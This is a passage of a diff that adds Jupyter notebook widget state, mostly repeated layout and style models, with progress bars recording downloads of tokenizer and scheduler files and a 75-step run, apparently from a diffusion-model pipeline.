+            "visibility": null,
+            "width": null
+          }
+        },
+        "2b68707a9749479cab4b4ecd124d87cb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2e922ee442bc49f8b0d7d4bd79d92683": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2e945d3f81204a538874a0a832102d15": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2f1c260b17204c08870bac68408944c4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5896923dddc0466a9023c09c738f404a",
+            "placeholder": "",
+            "style": "IPY_MODEL_f874ed5ecd6f4eed976ed24b0be4ae51",
+            "value": "Downloading (…)tokenizer/merges.txt: 100%"
+          }
+        },
+        "2f972961c0eb411ca45b8af05cc05e3b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c826a36c99ae462abccdc59266c404d3",
+            "placeholder": "",
+            "style": "IPY_MODEL_5ef86b91d359434a9aa4787dc727cb1b",
+            "value": " 348/348 [00:00<00:00, 1.79kB/s]"
+          }
+        },
+        "3119598ffcab4d6f9d1642ee595736ee": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "341fa26d73394e6cb71498a9c95b458c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3672f34ff79b417abb390592a3b9ed2b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "37e24969e35c4099933ab57fac8b2599": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d3165abbffbc4da3bd4f0cb6f3437140",
+            "max": 1361597018,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5a1be5246f2443858bd6933a89a68389",
+            "value": 1361597018
+          }
+        },
+        "37e74a92120d40ab99b8a3efeb397bd8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3943882166bb4470a800d9563f9e53a2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "396aee75c5954aa9b634d79c18177977": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3c4dca0b51954031905bada22feef684": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "4178b1767a614f89aa62f12a4e3a7350": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c909bafccc65402fa93afea87f1b784e",
+              "IPY_MODEL_6c32232cfb734ac3a3204a22c414fc18",
+              "IPY_MODEL_1f37677826544166a0b63d36c9c3edac"
+            ],
+            "layout": "IPY_MODEL_a4d93e9fee48468281afac25f551806c"
+          }
+        },
+        "417a14ed83ba4535bf47a39b9298aa4f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "419cb861b6e84999a3708fd19b0295c6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2e922ee442bc49f8b0d7d4bd79d92683",
+            "placeholder": "",
+            "style": "IPY_MODEL_4d9d00362c1c4f48b5cddc1783956732",
+            "value": " 13/13 [00:50<00:00,  4.61s/it]"
+          }
+        },
+        "42248bb1fb38481eaa292dbca2d68e38": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "44480a036c3c4442baa95d6288e83546": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_520e09d44ecf488b93694eebe4a02147",
+            "max": 300,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_5959385589b344b2bd8fc108067db8a3",
+            "value": 300
+          }
+        },
+        "45148fd42fdb47b3a5424faa3c488c25": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "4d9d00362c1c4f48b5cddc1783956732": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "502d0b0ef4c549b485c049a2dae9b4f1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f931614414ba46adaab4c0522e65ebf8",
+            "placeholder": "",
+            "style": "IPY_MODEL_e926a97d3f6149318dd6f01d17e90dd5",
+            "value": "Fetching 13 files: 100%"
+          }
+        },
+        "50949912a3ee403e8ddb328e62b61c0d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b5a46aec8d594d02b618b9d59e4f4518",
+            "placeholder": "",
+            "style": "IPY_MODEL_9ee85e252d32428ea44a91c71cd62a36",
+            "value": " 300/300 [00:00<00:00, 1.73kB/s]"
+          }
+        },
+        "518150c24b25401d92cf483e5ecb0253": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "520e09d44ecf488b93694eebe4a02147": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "53fa5e54123446199d57c27c3ee8b091": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_c8ba37c669974bbea2face17223d2bb4",
+            "placeholder": "",
+            "style": "IPY_MODEL_c87c0b939bbe4e56b46fca4aa580f75a",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "5896923dddc0466a9023c09c738f404a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "58aa60b3b1af45d2bdd8870dedd3cb67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e76b29381c114f808b3454fb122e8d10",
+            "max": 1059962,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_a1d133bc8fe344e2aed80fe5155177c3",
+            "value": 1059962
+          }
+        },
+        "58bccc7add0a45d8b8640c42d89a864c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5959385589b344b2bd8fc108067db8a3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "59b6eeeaf9464da891bf214ef1bbb7c2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5a1be5246f2443858bd6933a89a68389": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "5af1c44c0f434510abd7fe9d76f263da": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "5b3ca63a1af5452cb81fde6020fd9c53": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "5b74c15d312f404e88323771b08b0aeb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a25cd36e4deb410f9ee54a92a18c939c",
+            "max": 982,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_00cdbd64ce7d4b5a835a550ffc6b3510",
+            "value": 982
+          }
+        },
+        "5b89e69b011a40918b1acc0adf141874": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1e276839600443fa82ca0ab00409fd99",
+            "placeholder": "",
+            "style": "IPY_MODEL_639d147ac3674094be21de9f3c11477c",
+            "value": " 75/75 [00:46<00:00,  1.62it/s]"
+          }
+        },
+        "5d1c6a49ce6f4596946a2fd91bec3312": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_085ee070cea44624806bcc7ada5ae36e",
+            "placeholder": "",
+            "style": "IPY_MODEL_45148fd42fdb47b3a5424faa3c488c25",
+            "value": " 825/825 [00:00<00:00, 6.91kB/s]"
+          }
+        },
+        "5d3f04417ce64f80a2843e74bf6208f7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
